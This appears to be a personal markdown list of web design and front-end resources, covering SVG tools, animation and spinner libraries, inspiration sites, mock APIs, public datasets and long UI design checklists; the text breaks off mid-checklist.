https://www.smashingmagazine.com/2021/03/svg-generators/#svg-compression - SVG assets manager - https://svgx.app/ free desktop SVG asset manager which allows you to keep all SVGs in one place. You can bookmark, search and preview SVG icons, live-edit the SVG markup, preview the icons in dark mode and copy/paste markup and CSS with one click. By default it also uses SVGO for SVG optimizations. Available for Mac and Windows. - https://iconset.io/ You can drag icons from Iconset directly into Sketch, Figma, Adobe XD and pretty much anything else, without plugin or extension installs. Plus, you can also sync icons across devices via Dropbox or similar services, and publish and share your icon sets. Available for Mac and Windows. - SVG Sprites generator https://svgsprit.es/ context https://www.smashingmagazine.com/2021/03/svg-generators/#svg-sprites-generator - Transparent fill SVG and color in on Hover - [Codepen](https://codepen.io/m4r1vs/pen/qVReQz) - https://speckyboy.com/css-svg-canvas-masks/ - https://www.blobmaker.app/ generate some fancy blobs. - https://squircley.app/ generator of organic shapes for any kind of visuals or background images. You choose the rotation, the scale, the “curvature” and the fill color, and the tool takes care of the rest. - https://inkscape.org/ - https://svg-path-visualizer.netlify.app/ - https://svgcrop.com/ remove blank space automatically - https://msurguy.github.io/svg-cropper-tool/ more refined control of cropping with additional options for cropping style — circle, polygon, custom shape - SVG Polygon Generator https://codepen.io/winkerVSbecks/full/wrZQQm/ allows you to define the number of sides, radius, spacing and it generates a <polygon> SVG element for you. - https://rawgraphs.io/ SVG Data Visualization Generator - sunburst, circular dendrogram or multiple convex hull, for example. with tutorials: https://rawgraphs.io/learning - svg and text effects - https://pavellaptev.github.io/warp-svg/ - https://css-tricks.com/animate-blob-text-with-svg-text-clipping/ - more text effects https://letsbuildui.dev/articles/css-text-effects-five-minimal-examples - animate an existing svg https://svgartista.net/ - `mix-blend-mode: screen` is [really good for SVG icons, with hover](https://ishadeed.com/article/blending-modes-css/) - SVG animations - SVG icon transitions https://blog.nucleoapp.com/create-2-state-svg-powered-animated-icons-76ed19160a7e - https://nucleoapp.com/tool/icon-transition - scroll based svg text path animation https://www.youtube.com/watch?v=Tae96ze3xwY - stroke path animation https://css-tricks.com/a-trick-that-makes-drawing-svg-lines-way-easier/ - https://maxwellito.github.io/vivus-instant/ animate svg strokes - https://svgartista.net/ basic fill and stroke animations - https://www.svgator.com/ dedicated editor for SVG animations with plenty of dedicated panels for everything from skewing to stroke path and filters - GSAP, SVG.js (http://www.svgjs.com/), Lottie - SVG animation tool https://svija.love/animation ## Animations & Transitions - Buttons, hover, inputs, and loaders https://cssfx.netlify.com/ - general http://animista.net - animate an existing svg https://svgartista.net/ (by the same people as animista) - general https://animejs.com/ - https://www.theatrejs.com/ animate DOM elements or WebGL using a convenient visual editor that works along with the code you write. - motion graphics https://github.com/mojs/mojs - https://www.transition.style/ CSS transitions "My favourites are the ones that incorporate some hesitation in the animation, for an added uniqueness" - general https://daneden.github.io/animate.css/ - https://animxyz.com/ Tailwind for animations, since you’re only using HTML classes. - general https://ianlunn.github.io/Hover/ - Burgers https://march08.github.io/animated-burgers/ - Burgers http://negomi.github.io/react-burger-menu/ - Layout https://github.com/aholachek/react-flip-toolkit - Hover and loaders: https://www.csswand.dev/ - Graphic animations: https://lottiefiles.com/ - https://www.pixeltrue.com/free-illustrations lottie animations - HTML animation? https://tumult.com/hype/ (paid) - Page Transitions with swup https://github.com/swup/swup ([css tricks](https://css-tricks.com/page-transitions-for-everyone/)) - css animation without keyframes https://animxyz.com/docs/ - collection of css animations https://xsgames.co/animatiss/ - https://ericfortis.github.io/web-animations/ Open source plain JS, CSS, HTML, SVG animations - animation introduction & examples https://stackdiary.com/css-animations/ ### Loading Spinners - web components https://wc-spinners.cjennings.dev/ - Spinners https://tobiasahlin.com/spinkit/ - You can make your button a spinner too: - https://joebell.co.uk/sketches/loading-disco - demo: https://twitter.com/joebell_/status/1557355193473585153 - Buttons, hover, inputs, and loaders https://cssfx.netlify.com/ - Conic gradient loader in CSS - [Codepen](https://codepen.io/keithclark/pen/aEbEoo) - React, Vue and Angular Spinners https://github.com/JoshK2/react-spinners-css - https://andrew.wang-hoyer.com/experiments/svg-animations/ - Single Element CSS Spinners https://projects.lukehaas.me/css-loaders/ - https://whirl.netlify.app/ 100+ animated loaders ### React Animation Tools - https://react-simple-animate.now.sh/ - https://github.com/brunnolou/react-morph - https://github.com/kitze/react-genie - Page transitions https://github.com/joerez/react-transitions/ - https://animxyz.com/docs/ has react and vue integration Learn how to use Framer Motion with Sam Selikoff's https://buildui.com/ ## Ideas for Improving UX ### Onboarding On tutorials vs contextual tips: https://www.nngroup.com/articles/onboarding-tutorials/ Feature tours - https://www.appcues.com/ show people things they need as they need them - https://github.com/zurb/joyride jQuery feature tour plugin, used in https://www.airdna.co/ - tippy.js to handroll - React Curved Arrow https://react-curved-arrow.nickjanssen.com/ Welcome emails - https://blog.appsumo.com/welcome-email-examples/ ### Empty states https://emptystat.es/ ## Design Software - Image editing/Export to SVG/Object Removal/Photoshop - [Photopea](https://www.photopea.com/) - online SVG editor - https://yqnn.github.io/svg-path-editor/ - GIMP alternative - https://glimpse-editor.org/ - Image modification for hover effects: https://photomosh.com/ - Make photo 16x9 small tool https://photo16x9.com/ - Enlarge low res images with ML: https://twitter.com/addyosmani/status/1353616560057815041 - Lunacy - https://icons8.com/lunacy Graphic design software with built-in assets - Website design feedback collaboration - [Pagereview.io](https://pagereview.io/) - Invision https://www.invisionapp.com/inside-design/design-resources/ - Scenes - https://www.ls.graphics/scene-creators - UI kit collections - https://www.ls.graphics/ui-ux-tools - Responsive Dev Browsers - FOSS https://responsively.app/ - http://sizzy.co/ (paid) - https://polypane.app/ (paid) - [more alternatives](https://www.reddit.com/r/webdev/comments/f6ah78/responsive_website_testing_any_alternative_to/) ### Figma - https://100dailyui.webflow.io/ Free Figma library of products, elements, and screens. - https://blush.design/ - Free Customizable Illustrations With Figma Plugin - https://www.figmafreebies.com/ - 7hr figma course https://www.youtube.com/watch?v=RYDiDpW2VkM ### Sketch - http://freebiesketch.com/ - https://www.sketchappsources.com/ - Apple design resources https://developer.apple.com/design/resources/ ### Generative Design Tools - Image modification for hover effects: https://photomosh.com/ - http://components.ai/ ## Non-DOM Browser Technologies ### Canvas - Trianglify http://qrohlf.com/trianglify/ - generative artistry https://generativeartistry.com/ - Canvas Cards https://canvas-cards.glitch.me/ - Open Processing https://www.openprocessing.org/ ### WebGL - [Curtains.js](https://www.curtainsjs.com/) ([example](https://codepen.io/martinlaxenaire/post/webgl-enhanced-drag-slider-tutorial-with-curtains-js-part-3)) - [Polygonjs](https://polygonjs.com/) open-source, node-based WebGL design tool, to create 3D scenes procedurally. - https://github.com/shuding/cobe - webgl globe ([tweet]([url](https://twitter.com/shuding_/status/1475916082875666441?s=20)), [stripe](https://twitter.com/ZachSaucier/status/1569816382274945026?s=20&t=X05jU6q8ZWzymTF44CIFNQ)) Makepad - https://github.com/makepad/makepad - https://www.youtube.com/watch?v=Xr6dtXw0Ipg ### 3D ThreeJS - https://www.kukla-kit.com/ Huge pack of 3D elements accessible directly from Figma. BabylonJS - https://babylonjs.medium.com/babylon-js-4-2-simplicity-reimagined-965f88d0fad ## Interaction/Design Inspo - [Httpster](http://httpster.net/) - [Minimal Gallery](https://minimal.gallery/) - [Godly.website](https://godly.website/) - [Hoverstat.es](https://www.hoverstat.es/) - [Really Good Emails](https://reallygoodemails.com/) - [SaaSFrame](https://www.saasframe.io/) - **[Dribbble](https://dribbble.com/)** - [Product Hunt](https://producthunt.com/) - [Landingfolio](https://www.landingfolio.com/) - [App Fuel](https://www.theappfuel.com/) - [Refero](https://refero.design/) - [Read.cv](https://read.cv/explore) - https://pageflows.com/ - https://uimovement.com/ - https://land-book.com/ - https://uidesigndaily.com/ - https://www.siteinspire.com/ - https://www.landingfolio.com - http://www.cssmania.com/ - https://www.uisources.com/ - [Codrops](https://tympanus.net/codrops/2019/06/04/inspirational-websites-roundup-5/) - https://collectui.com/ - https://theanimatedweb.com/ - https://pageflows.com/ - https://goodui.org/ "leaked ab tests" - http://ui-patterns.com/ - https://uigarage.net/ - https://pttrns.com/ - https://thefwa.com/ - steve schoger ui ux inspo list https://twitter.com/steveschoger/status/1215673997725196288?s=20 - https://landings.dev/ ### Game design inspo - https://interfaceingame.com/ - https://www.gameuidatabase.com/ - movie UIs https://www.pushing-pixels.org/fui/ - game movie and other fantasy UIs https://www.saji8k.com/kit-fui/ ## Random Stuff That Doesn't Fit Anywhere - https://10ideesrecuesenuxdesign.castoretpollux.com/en/ - https://www.cssdig.com/ for analyzing your css ### Mock APIs free or mock data apis for demos - Simple Data - http://quotes.rest/ - https://dogapi.dog/docs/api-v2 (just data, no pics) - https://api.chucknorris.io/ - https://jokeapi.dev/ https://v2.jokeapi.dev/joke/Any\?type\=single\&blacklistFlags=nsfw,racist,sexist,explicit - https://dev.to/dailydevtips1/15-better-lorem-ipsum-generators-3f99 - simple quote https://api.quotable.io/random - weather apis - OpenWeather is better and has 1M calls per month for free. https://openweathermap.org/price - The Norwegian Meteorological Institute has an excellent free HTTP/JSON weather API that covers the globe. No signup required. - https://developer.yr.no - I've set up an iPad in my hallway to show their SVG weather charts. Super simple to integrate into a simple home made dashboard website. Here is Oslo: https://www.yr.no/en/content/1-72837/meteogram.svg - Placeholder Pictures - https://source.unsplash.com/ - https://skuawk.com/ - https://github.com/imsky/holder - https://lorempixel.com/ - http://placeimg.com/ - https://picsum.photos - Blanks - http://placehold.it/300x300 - Animals - https://placedog.net/ - https://placebear.com/ - http://placekitten.com/ - https://dog.ceo/ - Food - http://placebeer.com/ - https://baconmockup.com/ - Actors - https://www.placecage.com/ - https://placekeanu.com/ - https://www.stevensegallery.com/ - https://www.fillmurray.com/ - https://assetroulette.com/ - Get a random image: `<img src="https://api.assetroulette.com/random_image">` - Get a random meme image: `<img src="https://api.assetroulette.com/random_meme">` - Get a random image from Unsplash: `<img src="https://api.assetroulette.com/random_unsplash">` - Get a random CSS definition for base classes: `<link rel="stylesheet" href="https://api.assetroulette.com/random.css">` - https://www.uifiller.com/ - Users - https://randomuser.me/ - https://jsonplaceholder.typicode.com/ - Relational Data - https://swapi.dev/ - theres a graphql swapi as well - https://pokeapi.co/api/v2/ - Misc - mock fake user events https://github.com/andresionek91/fake-web-events - https://openweathermap.org/guide - https://github.com/public-apis/public-apis - https://github.com/public-api-lists/public-api-lists - https://public-apis.io/ (A Directory of Free Public & Open Rest APIs) - https://github.com/Marak/faker.js - generate fake pdf https://aws.amazon.com/blogs/aws/new-for-aws-lambda-container-image-support/ - https://github.com/Rolstenhouse/unofficial-apis - https://devresourc.es/tools-and-utilities/public-apis - https://free-for.dev/#/?id=apis-data-and-ml ### Useful big datasets - Dataset collections - [Graphext collection](https://www.notion.so/cf3e33e64b6c4a71a014c134b6149b37?v=37e53f0e8a464293909206f499fdcc2e) 91 datasets - [Data.world](https://data.world/datasets/open-data) There are 133398 open data datasets available - https://www.data-is-plural.com/ dataset newsletter - https://upscale.wiki/wiki/Dataset_Database for training image upscalers - https://huggingface.co./datasets - https://datasets.quantumstat.com - https://paperswithcode.com/datasets - https://registry.opendata.aws - https://docs.microsoft.com/en-us/azure/azure-sql/public-data-sets - https://guides.library.cmu.edu/az.php Carnegie Mellon University listing of 750 databases, datasets, and research support tools. - Google datasets https://datasetsearch.research.google.com - Awesome Public Datasets https://github.com/awesomedata/awesome-public-datasets - Kaggle Datasets https://kaggle.com/datasets - The home of the U.S. Government’s open data https://data.gov - SQL demos - Northwind - Chinook: https://github.com/lerocha/chinook-database - Tech - [GitHub Activity data](https://console.cloud.google.com/marketplace/details/github/github-repos?pli=1&project=uplifted-earth-144603) ([blog](https://cloud.google.com/blog/topics/public-datasets/github-on-bigquery-analyze-all-the-open-source-code)) This 3TB+ dataset comprises the largest released source of GitHub activity to date. It contains a full snapshot of the content of more than 2.8 million open source GitHub repositories including more than 145 million unique commits, over 2 billion different file paths, and the contents of the latest revision for 163 million files, all of which are searchable with regular expressions. - [Los Alamos cybersecurity data](https://csr.lanl.gov/data/cyber1/) - This data set represents 58 consecutive days of de-identified event data collected from five sources within Los Alamos National Laboratory’s corporate, internal computer network. - The data sources include Windows-based authentication events from both individual computers and centralized Active Directory domain controller servers; process start and stop events from individual Windows computers; Domain Name Service (DNS) lookups as collected on internal DNS servers; network flow data as collected on at several key router locations; and a set of well-defined red teaming events that present bad behavior within the 58 days. In total, the data set is approximately 12 gigabytes compressed across the five data elements and presents 1,648,275,307 events in total for 12,425 users, 17,684 computers, and 62,974 processes. - Finance - [Numerai v4](https://numer.ai/data/v4) - 1191 features and targets for the entire history of the @numerai tournament. 2.4 million rows and 574 eras. One of the hardest tabular dataset competitions on the planet. - Text - [Enron email](https://www.kaggle.com/datasets/wcukierski/enron-email-dataset) ([source](https://www.cs.cmu.edu/~./enron/)): 500,000+ emails from 150 employees of the Enron Corporation ([podcast](https://99percentinvisible.org/episode/youve-got-enron-mail/)) - [ICIJ Offshore Leaks db](https://offshoreleaks.icij.org/) This ICIJ database contains information on more than 810,000 offshore entities that are part of the Pandora Papers, Paradise Papers, Bahamas Leaks, Panama Papers - Kaggle: https://www.kaggle.com/zusmani/paradisepanamapapers - [GDELT Project](https://www.gdeltproject.org/) "monitors the world's broadcast, print, and web news from nearly every corner of every country in over 100 languages and identifies the people, locations, organizations, themes, sources, emotions, counts, quotes, images and events driving our global society every second of every day, creating a free open platform for computing on the entire world." - [Hex's Horoscope](https://www.izzy.co/blogs/horoscope-aug.html) Welcome to the inaugural Hex Horoscope, a new monthly series in which I attempt to divine the general trend of the month to come using Hex. We'll start with a visual look at how the first week of August stacks up to the competition, and then do some actual predictive modeling to take a stab at what the rest of the month has in store. - Geo - [BigQuery global daily weather data](https://cloud.google.com/blog/products/gcp/global-historical-daily-weather-data-now-available-in-bigquery) Using the BQ geo functions to overlay weather with key locations we cared about was a lot of fun. [michael](https://twitter.com/gwenwindflower/status/1536132127678423046) - List of Famous/Notable people by Geo ([241mb](https://data.sciencespo.fr/dataset.xhtml?persistentId=doi:10.21410/7E4/RDAG3O)) - [writeups](https://medialab.github.io/bhht-datascape/), [globe viz](https://tjukanovt.github.io/notable-people) - [SF Tree dataset](https://data.sfgov.org/City-Infrastructure/Street-Tree-List/tkzw-k3nq) Every tree in San Francisco (that are managed by the department of public works, so this excludes trees in places like Golden Gate Park): 196,000 trees listed and they update it constantly! [simonw](https://twitter.com/simonw/status/1536366226326228993?s=20&t=W8ioFSergYaZcLGjTxOGbQ) - [NYC taxi dataset](https://www1.nyc.gov/site/tlc/about/tlc-trip-record-data.page) Yellow and green taxi trip records include fields capturing pick-up and drop-off dates/times, pick-up and drop-off locations, trip distances, itemized fares, rate types, payment types, and driver-reported passenger counts. - Good for teaching: scalable sizes, moderate amounts of bad data - ([spark + iceberg quickstart](https://github.com/tabular-io/docker-spark-iceberg) - [blog](https://tabular.io/blog/docker-spark-and-iceberg/)) - [Auckland Transport data](https://dev-portal.at.govt.nz/) - [Airbnb data on NY, London, SF, Paris, barcelona, Amsterdam](http://insideairbnb.com/) - [GeoNet earthquake catalog](https://www.geonet.org.nz/data/types/eq_catalogue) - New Zealand - LINZ data service https://data.linz.govt.nz/data.world. - Misc? - [Correlates of War datasets](https://correlatesofwar.org/) - [Flight delays](https://data-se.netlify.app/2021/02/24/case-study-data-vizualization-on-flight-delays-using-tidyverse-tools/) - [Disney world wait times](https://lucymcgowan.github.io/touringplans/) - [Trashnet](https://github.com/garythung/trashnet): Code (only for the convolutional neural network) and dataset for mine and Mindy Yang's final project for Stanford's CS 229: Machine Learning class. The dataset spans six classes: glass, paper, cardboard, plastic, metal, and trash. Currently, the dataset consists of 2527 images. The pictures were taken by placing the object on a white posterboard and using sunlight and/or room lighting. The pictures have been resized down to 512 x 384, which can be changed in data/constants.py (resizing them involves going through step 1 in usage). The devices used were Apple iPhone 7 Plus, Apple iPhone 5S, and Apple iPhone SE. - [NFL play by play data](https://www.nflfastr.com/) The package contains NFL play-by-play data back to 1999. Includes completion probability (cp), completion percentage over expected (cpoe), and expected yards after the catch (xyac_epa and xyac_mean_yardage) in play-by-play going back to 2006. Includes drive information, including drive starting position and drive result. Includes series information, including series number and series success. Features models for Expected Points, Win Probability, Completion Probability, and Yards After the Catch ### Copy and Emails - https://www.goodemailcopy.com/ - https://www.swipefiles.co/ ### UI Design Challenges and Copywork - https://fakeclients.com/ui - https://uxtools.co/challenges/ - https://www.frontendpractice.com/ - https://www.codewell.cc/ - https://cssbattle.dev/ ### Other Lists like this one - https://a11yresources.webflow.io/ - https://webflow.com/accessibility/checklist - https://www.getstark.co/library/ - https://10015.io/ - https://www.fetoolkit.io/ - https://github.com/bradtraversy/design-resources-for-developers - https://tiny-helpers.dev/ - https://www.uigoodies.com/ - https://www.uplabs.com/ - https://github.com/neutraltone/awesome-stock-resources - https://nodesign.dev/ - https://github.com/goabstract/Awesome-Design-Tools / https://github.com/LisaDziuba/Awesome-Design-Tools - https://github.com/emmabostian/design-inspiration - https://undesign.learn.uno/ - https://user-interface.io/ - https://dev.to/theme_selection/best-design-resources-websites-every-developer-should-bookmark-1p5d - https://dev.to/joserfelix/40-high-quality-free-resources-for-web-development-10o3 ### Helpful podcasts/talks/articles - [How do I learn design?](https://www.codenewbie.org/podcast/how-do-i-learn-design) (CodeNewbie) - [Design foundations for developers](https://syntax.fm/show/196/design-foundations-for-developers) (Syntax) - [Design tips for developers](https://syntax.fm/show/068/design-tips-for-developers) (Syntax) - [Tactical design advice for developers](https://changelog.com/podcast/333) (The Changelog) - [UI Design for Developers](https://designcode.io/ui-design-for-developers) (Meng To) - [Learning How to Design](https://shoptalkshow.com/343/) (ShopTalk) - [You can create a great looking website while sucking at design](https://thefullstackdev.net/resource/create-beautiful-website-while-sucking-at-design/) - [Laws of UX](https://lawsofux.com/) - [100 Things I Know About Design](https://odannyboy.medium.com/100-things-i-know-about-design-8e50f7b1818b) - [The self taught UI/UX designer roadmap](https://bootcamp.uxdesign.cc/the-self-taught-ui-ux-designer-roadmap-in-2021-aa0f5b62cecb) - https://learnui.design/blog/4-rules-intuitive-ux.html - Obey the Law of Locality - Anything But Dropdowns - Pass the Squint Test - Teach By Example - https://littlebigdetails.com/ - web interface handbook https://imperavi.com/books/web-interface-handbook/ - [Design Principles](https://principles.design/) - [7 Gestalt Principles of Design](https://ux360.design/gestalt-principles-design) - [Visual design rules you can safely follow](https://anthonyhobday.com/sideprojects/saferules/) - Use near-black and near-white instead of pure black and white - Saturate your neutrals - Use high contrast for important elements - Everything in your design should be deliberate - Optical alignment is often better than mathematical alignment - Lower letter spacing and line height with larger text. Raise them with smaller text - Container borders should contrast with both the container and the background - Everything should be aligned with something else - Colours in a palette should have distinct brightness values - If you saturate your neutrals you should use warm or cool colours, not both - Measurements should be mathematically related - Elements should go in order of visual weight - If you use a horizontal grid, use 12 columns - Spacing should go between points of high contrast - Closer elements should be lighter - Make drop shadow blur values double their distance values - Put simple on complex or complex on simple - Keep container colours within brightness limits - Make outer padding the same or more than inner padding - Keep body text at 16px or above - Use a line length around 70 characters - Make horizontal padding twice the vertical padding in buttons - Use two typefaces at most - Nest corners properly - Don’t put two hard divides next to each other - https://twitter.com/mrcndrw/status/1283078825870532609 - https://internetdevels.com/blog/the-10-commandments-of-user-interface-design ([infographic](https://www.designmantic.com/blog/infographics/the-10-commandments-of-ui-design/)) - 3 most common mistakes of UI design by [MDS](https://robhope.com/yo-mds) - too many font sizes used. Try to use 1-2 sizes and vary other things like weight, negative space, color, casing. - don't over rely on strict mathematical spacing - use optical alignment instead - make judgments based on the needs of the layout. - consistent color usage. Tappable = one color. dont make titles and buttons same color. mind accessibility. - [Simple Layout checklist](https://docs.google.com/file/d/0B0gPtgNVonXPT1NsWGpKZWZKV1U/edit) - [ ] Clear idea of purpose, target audience, where/how long it will be seen - [ ] Information hierarchy (vary size, contrast, position) - [ ] Clear visual structure - pick the most suitable way to group elements - [ ] Space - leave enough whitespace. Too much > too little - [ ] Alignment - use as few lines as possible - [Human Interface Guidelines from Apple, Microsoft, Elementary OS, IBM, etc](http://www.geofcrowl.com/blog/articles/2020/2/17/collection-higs/) - Apple's HIG was updated for 2022 https://developer.apple.com/design/human-interface-guidelines/guidelines/overview/ - Apple Spatial Computing Design videos: - https://developer.apple.com/videos/play/wwdc2023/10072/ - https://developer.apple.com/videos/play/wwdc2023/10076/ - https://developer.apple.com/videos/play/wwdc2023/10073/ - 50 UI tips https://fifty.user-interface.io/ - https://fifty.user-interface.io/50_ui_tips.pdf - Steve Schoger - Refactoring UI process: https://www.youtube.com/watch?v=7Z9rrryIOC4 1. Give text consistent contrast 2. Don't use grey text on colored backgrounds 3. Use perceived brightness 4. Start with too much whitespace 5. Balance weight and contrast 6. Supercharge the defaults 7. Overlap elements to create depth 8. Use shadows to convey elevation 9. Shadows have two parts 10. Create depth with color 11. Use fewer borders 12. Think outside the database 13. Alternate Backgrounds 14. Grays dont have to be GRAY. 15. Use good fonts! - Steve Schoger - [little details of visual ui design](https://twitter.com/swyx/status/1206234577821286406?s=20) - [ ] add a bit of color to your greys - [ ] saturate greys when using a colored background - [ ] consider temp when saturating greys - [ ] use a consistent corner radius - [ ] use consistent icon set - [ ] use font size to emphasize impt info - [ ] use color to create a hierarchy - [ ] use consistent spacing scale - [ ] use color to draw attention - [ ] offset box-shadows - [ ] easy on the link styles - [ ] use contrast to create balance - [ ] pick an appropriate line height - [ ] use alignment to clean up your design - [ ] give actions hierarchy - [ ] consider spacing instead of borders - [ ] use color to create depth and hierarchy - [ ] use good fonts - [Buffer Design tips](https://buffer.com/library/social-media-design-tips) - [ ] Color: emotion, personality - [ ] Balance: symmetry, asymmetry - [ ] Lines: straight lines for harmony, curved for movement. guide the eyes - [ ] Typography: 3 max, san-serif for web, kerning for headlines - [ ] Add Contrast with shapes, color, element sizes - [ ] Scale: size elemnts differently to draw attention or demonstrate concept - [ ] Proximity: group related items together. connect colors, fonts, shapes - [ ] Hierarchy: most impt elements first - [ ] Repetition: consistency of fonts, colors, logos - [ ] Direction: F, E, Z pattern. Put key info in left - [ ] Space: use space to amplify other objects - Matt D Smith Checklist ([Notion](https://www.notion.so/UI-Checklist-d47ae9676a004a9b9d942a7908ac9efd)) - [ ] Do I have a very solid understanding of the _human_ problem I'm solving with this interface? - [ ] Is this a low, medium, or high complexity project and have I let that drive my decision for designing a low-fidelity version or not? - [ ] If I'm using reference material, would I feel comfortable putting my design next to the reference and talking through the areas I used for inspiration, without giving the impression that I copied or created a very close derivative? - [ ] Have I had the necessary conversations with stakeholders and/or developers about the goal of this project and its ability to be implemented. In other words, am I aware of business and/or technological constraints? - Typography - [ ] Have I chosen font sizes very deliberately (_ideally 2-4 per screen or section)_ and pushed myself to use as few as possible? - [ ] Am I sure there's not a single straggling font size lying around somewhere that could be matched up with another size? - [ ] Are there any areas where font **weight** would be a better change instead of font size? - [ ] Are there any areas where font case—whether UPPERCASE, Title Case, or Sentence case—would be more affective that a font size change? - [ ] Does the visual hierarchy of my typography content match my intentions with what is the most important on the screen? - [ ] Do my titles and body copy _feel_ right together? Am I playing with type scale in a fun and dynamic way? - [ ] Have I defined the usage of certain sizes and/or colors for my typography, whether in my own head or specifically written documentation? - [ ] Are my typographic color choices extrememly well defined, a specific color for links, actions, buttons versus read-only text, and is there anywhere that can be improved? - [ ] If applicable, are there any areas where I could add more visual interest to my typography by adding any decorative or informational elements in the surrouding area? - [ ] Have I intentionally chosen a specific typeface for specific reasons? - [ ] If I haven't used sytem or open source fonts (SF Pro, Roboto, Inter, Helvetica, etc.) have I done due dilligence on purchasing the appropriate font licensing and/or checked with stakeholders or developers if the font I've chosen is approved and/or can be used during development? - [ ] Does the typeface I've chosen convey the right personality or feeling that I want to convey? - [ ] Have I considered adding the ability for a user to choose their own type size based on their preference, and if not have a made sure that the most important content is no smaller than 16px? - Layout - [ ] Have I used the box model concept while laying out out every element of my designs, or are there a few stragglers here and there that I haven't been intentional about? - [ ] Have I used a clear grid structure with properly aligned elements that visually balance each other out? (12 column, etc.) - [ ] Have I used an intentional implicit grid for all of the negative space surrounding the elements in my layout, especially to define intentional relationships with my content? - [ ] Does my design have enough negative space? - [ ] Are there elements in my design where the negative space could double to create a much nicer layout? - [ ] Does anything feel too crammed or too tight and have I considered layering the information where necessary to create more simplicity? - [ ] Is all of the text left or right aligned and scannable where applicable? - [ ] Does my eye have to dart around all over the screen to view the content or is there a nice line of continuation I can pay attention to while viewing? - [ ] Are my interface elements balanced compositionally with layout anchors? - [ ] Are there any areas where my designs have been mathematically aligned, but still feel off? Have I correct these with optical alignment? - [ ] Is the density of my design appropriate? Is it tight and condensed because of the high volume of information? Is it a medium density? Are there ways to add more negative space to have a more open and friendly feel with a lower density layout? - [ ] Are there any areas where I could create more intentional prioritization of content by using scale or visual weight with background color changes, etc.? - [ ] Is there appropriate affordance given to the interactive objects on the screen? Is it easy to see what's scrollable, swipeable, tappable, etc.? Are there areas where I know that it could be made more clear? - [ ] Have I fully considered exandable/collapseable or other interactive options for some of the components? Does everything on the screen need to be on the screen or is there a more elegant solution for the content that involves adding another page or another section? - Color - [ ] Have a made a conscious choice between using HEX codes, RGB values, or HSB/HSL section methods? - [ ] Have I double checked to make sure that all of my interface elements have appropriate color contrast and meet at least WCAG 2.1 AA accessibility standards? - [ ] Have I made a very conscious decision about my structural colors versus my interactive colors? - [ ] Have I clearly defined a primary, secondary, and possibly tertiary CTA (call to action) color and used it accordingly? - [ ] Could my secondary styles and colors be tweaked slightly to better compliment the primary CTA? - [ ] Have I very strategically defined all of my color usages to create an understandable framework for future color usage? Is there room for improvement? - [ ] Does my color palette follow a systematic and intentional method for color selection based on a base HUE? - [ ] Is there room to provide a secondary HUE for structural or interactive colors or is the one I've chosen adequate? - [ ] Is there any opportunity for using a well-placed gradient? If I'm using a gradient have I double checked that any text used in combination with it is accessible? - [ ] Have I specifically chosen a very strict set of greys, if applicable, for my entire project across every screen? - [ ] Are there any greys that are very close in color that could be combined and simplified? - [ ] Have I revised and/or adjusted my overall color palette to include all colors and usages of those colors for every single element? - [ ] Have I considered the Z-axis of my layout and how white, grey, and darker colors create a natural depth? Are the objects closest to my foreground the lightest in color? - [ ] If my UI is dark in color, have I been extremely conscious with the overall contrast and meticulously chosen each color? - [ ] If my UI is dark in color, have I reserved absolute white and absolute black for specific pieces of the interface? Is there any room for almost black or almost white, with subtle changes in color? - Style - [ ] Have I consciously decided on a specific design direction? - [ ] Can I intentionally describe my designs with specific adjectives? - [ ] Have I considered the constraints of the medium I'm designing for and how that should and will affect my designs? - [ ] Have I very consciously chosen specific corner radius styles? Should they be hard edge, slightly rounded, very rounded, pill-shaped? - [ ] If I have chosen specific corner radius styles for modules, buttons, etc. have I explored other options to see if there are better alternatives that specifically map to the type of style I'm trying to achieve? - [ ] Have I very specifically chosen a certain type of border or divider for my content? - [ ] Have I considered using only negative space to create a separation of content rather than relying on a line or separate modules? - [ ] Have I made sure my borders or dividers don't overpower the actual content? Could they be toned down to shift focus on the most important areas of the designs? - [ ] Have I considered depth, lighting, and shadow to the best of its potential? If I'm using any type of depth as a metaphor, are my darkest elements going back into the design and my brightest elements coming forward intentionally? - [ ] Have I strongly considered how my buttons are interacted with? Hover states, tapped states, etc. Are there any fun animations that I could add to double-down on the direction I'm trying to achieve? - [ ] Are my buttons working as hard as they should be to create laser-like focus on the most important actions on the screen when applicable? - Imagery - [ ] Knowing that great imagery will make my designs 10X better than subpar imagery, have I intentionally chosen, selected, sourced, or created the absolute best possible imagery for my designs (if applicable)? - [ ] Does the imagery I'm using make my designs better or is it distracting? - [ ] Am I intentionally using a static image in my designs that will never be changed, or is there an opportunity to create something more dynamic based on events or user action? - [ ] Are there places in my design where I can leverage emoji (like on these checklist titles) to create a more unique design? - [ ] Am I using a rasterized bitmap image when I could be using CSS or an SVG in place of it? - [ ] If I'm using dynamic imagery in my designs, have I stress tested for all black or all white images to make sure the design still works? - [ ] If my designs contain user-generated content, have I carefully considered empty states, the ability to change the imagery, the ability to create and/or upload the imagery? - [ ] Are there smart defaults that look nice when no user generate content has been added? - [ ] Am I using any imagery that is only "so-so" and not adding great value to the design? - [ ] Have I paid special attention to any icons used in my project? - [ ] Are my icons following a strong pattern of size, color, stroke, fill, etc.? - [ ] Are my icons decorating or interactive and have I made that extremely clear with the designs? - [ ] Are there any opportunities to create a simple custom illustration (line, shape, pattern, etc.) to add more visual interest to the design? - [ ] Have I considered how the products marketing site or branding should or will impact the interface? - [ ] Is there an app store icon that needs to be designed? Are there opportunies to create a fun branded experience between the app icon, the loading screen, and the default view of the first time a user launches the app? - [ ] If I'm designing a website have I designed a custom favicon that shows up in the browser tab as an extra little detail for my project? - Elements - [ ] Does my project have a clear navigation structure and ideally prioritize the top 5 or fewer links or sections? - [ ] Have I strongly considered how my input fields function (default, hover, focused, disabled, error, etc.) and created a very clear state design for all possibilities? - [ ] Do my input fields match the overall style and direction of the project? - [ ] Are the forms I've designed absolutey necessary and require the most critical information? - [ ] Have I very clearly communicated the reasons for requiring certain information? - [ ] If applicable, have I made it clear that certain pieces of information are required for the progress of the user through the app or site? - [ ] Have I considered all the variables and/or error states if some information is not gathered properly? - [ ] If my project has user profiles, have I considered what it will look like the first time it's used, after information has been added? Are the mechanisms for editing information abundantly clear or is there room for improvement? - [ ] Have I carefully considered the implications of a settings screen? - [ ] Have I done the hardwork of creating smart defaults for the user and not used the settings screen as a dumping ground for all possible changes? - [ ] Have I carefully chosen lists and/or card-based layouts in my designs based on the volume of information? - [ ] Are the any missing components to my designs that might not be needed now, but could be very useful in the future, eg. table designs, etc.? - [ ] Have I considered the states and function of all of my components and created a well-organized file system? - [ ] Is there a need to turn my clean and organized file-system into an actual design system to be used for other projects? - [ ] Are there more people on my team (stakeholders, developers, etc.) who need visibility into the choices I'm making for naming components, etc. and should they have an opinion or a say 